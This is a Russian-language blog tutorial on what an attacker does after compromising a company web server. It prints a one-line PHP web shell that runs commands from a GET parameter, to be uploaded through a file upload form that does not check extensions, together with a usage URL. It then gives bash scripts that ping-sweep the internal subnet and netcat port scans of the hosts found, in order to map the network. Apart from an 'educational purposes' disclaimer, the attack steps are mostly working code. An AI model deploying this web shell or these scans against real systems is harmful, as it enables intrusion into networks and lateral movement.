Базовая разведка сети

Всем привет!
В этой небольшой статье мы рассмотрим первые шаги которые обычно предпринимает злоумышленник получив доступ к веб-серверу компании.

Дисклеймер: Данная статья написана только в образовательных целях и автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий.

Итак, допустим следующую ситуацию:

Компания имеет на своём сайте форму для регистрации новых клиентов с формой загрузки сканов удостоверений в виде JavaScript модуля. Разработчики этой формы немного схалтурили и не позаботились о проверке расширений загружаемых файлов (довольно распространённая ошибка кстати).

Подобная ошибка позволяет любому загрузить не только скан удостоверения, но и шелл.

Например этот однострочный:

php echo shell_exec($_GET['e'].' 2>&1');

Использовать его легко: http://webserver-ip/files/upload/shell.php?e=ls%20-al покажет содержимое каталога в котором находится шелл.Чтобы всё выглядело более наглядно переходим в просмотр кода страницы

?php echo shell_exec($_GET['e'].' 2>&1');

Командой ip a получаем сведения о настройках сети вебсервера:

IP адрес локальный, а это значит что сервер находится не в DMZ, из чего логично предположить, что с него есть прямой доступ к остальным элементам сети Компании.

А теперь самое интересное, как нам просканировать сеть на живые хосты и узнать какие сервисы на них работают?

У нас недостаточно прав на установку nmap сканера на этот сервер, поэтому мы обойдёмся простым bash скриптом…

Так как маска сети 24-ая, значит нам нужно пропинговать всего лишь 254 ip-адреса.

Простой цикл выполнит эту задачу за пять минут:

/bin/sh
// счетчик начинается с 1 COUNTER=1 // пока счетчик меньше 254 выполнять в цикле 1 пинг,
// после чего увеличивать счетчик на 1 while [ $COUNTER -lt 254 ] do ping 192.168.0.$COUNTER -c 1 COUNTER=$(( $COUNTER + 1 )) done

Загружаем наш скрипт на сервер, не забываем дать права на запуск, стартуем его командой ?e=./ping.sh > ping-result.txt и ждём, страница может «висеть» с этой задачей 5-10 минут

Когда цикл завершится, скачиваем файл ping-result.txt и выписываем из него ip адреса «живых» устройств в сети

 

Далее переходим к самому интересному, анализу найденных «живых» устройств с помощью сканирования портов, а поможет нам в этом ещё один bash скрипт и netcat.

!/bin/sh
// На этот раз здесь двойной цикл
// Указываем последний октет ip адреса каждого живого устройства в сети
// И указываем интересующие нас порты 21 22 25 80 и т.д.

for ip in 2 6 10 16 17 21
do
for port in 21 22 25 80 443 445 3306 3389
do
nc -v -n -z -w 1 192.168.41.$ip $port
done
done

NetCat (nc) будет пытаться подключиться к каждому из перечисленных устройств по каждому из перечисленных портов, и если порт открыт, в ответ мы получим запись succeeded.

Таким образом, мы можем построить карту внутренней сети компании, узнать на каком сервере какие службы запущены, curl’ом можно по-выгружать доступные веб-сервисы и проанализировать их… Но это уже совсем другая история)

Возможно данный метод не является самым быстрым и лёгким, но в статье не учитывалась возможность загрузки реверс php шелла и использование metasploit’а, а лишь подручные средства и мозг.

Спасибо за внимание и не забудьте, всё это описано только в образовательных целях!